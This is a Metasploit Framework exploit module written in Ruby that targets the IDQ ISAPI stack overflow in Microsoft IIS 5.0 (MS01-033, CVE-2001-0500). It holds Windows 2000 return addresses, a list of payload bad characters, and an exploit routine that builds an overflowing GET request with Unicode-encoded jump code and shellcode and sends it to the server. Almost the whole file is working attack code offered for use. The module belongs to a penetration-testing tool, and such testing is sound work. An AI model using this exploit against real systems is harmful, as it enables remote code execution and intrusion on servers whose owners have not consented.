metasploit-framework/modules/exploits/windows/iis/ms01_033_idq.rb

require 'msf/core'

module Msf

class Exploits::Windows::Iis::MS01_033_IDQ < Msf::Exploit::Remote

	include Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Microsoft IIS 5.0 IDQ Path Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the IDQ ISAPI handler for
				Microsoft Index Server.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 3783 $',
			'References'     =>
				[
					[ 'CVE', '2001-0500'],
					[ 'MSB', 'MS01-033'],
					[ 'BID', '2880'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},

			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
				
			'Platform'       => 'win',
			'Targets'        => 
				[
					[ 'Windows 2000 English SP0',     { 'Ret' => '0x6e8f3e24' } ],
					[ 'Windows 2000 English SP1-SP2', { 'Ret' => '0x6e8f8cc4' } ],
				],
			'DisclosureDate' => 'Jun 18 2001',
			'DefaultTarget' => 0))
			
		register_options(
			[
				Opt::RPORT(80)
			], self.class)			
	end

#
# Uncomment this once false positives have been fixed
#
=begin
	def check
		connect
		
		sock.put("GET /#{Rex::Text.text_rand_alphanumeric(2)}.idq HTTP/1.0\r\n\r\n")
		resp = sock.get_once
		disconnect
		
		if (resp =~ /200 OK/)
			return Exploit::CheckCode::Vulnerable
		end
		
		return Exploit::CheckCode::Safe
	end
=end

	def exploit
		connect

		sploit =  Rex::Text.rand_text_alphanumeric(1) + ".idq?" + Rex::Text.rand_text_alphanumeric(232, payload_badchars)
		sploit << "%u06eb.%u" + target.ret[-4, 4] + "%u" + target.ret[-8, 4] 
		sploit << ".%uC033%uB866%u031F%u0340%u8BD8%u8B03%u6840%uDB33%u30B3%uC303%uE0FF=" + Rex::Text.rand_text_alphanumeric(1)
		sploit << " HTTP/1.0\r\n" + make_nops(10) + Rex::Text.rand_text_alphanumeric(36, payload_badchars)

		uri = '/' + sploit + payload.encoded 

		res = "GET #{uri}\r\n\r\n"

		print_status("Trying target #{target.name}...")

		sock.put(res)
		
		handler
		disconnect
	end

end
end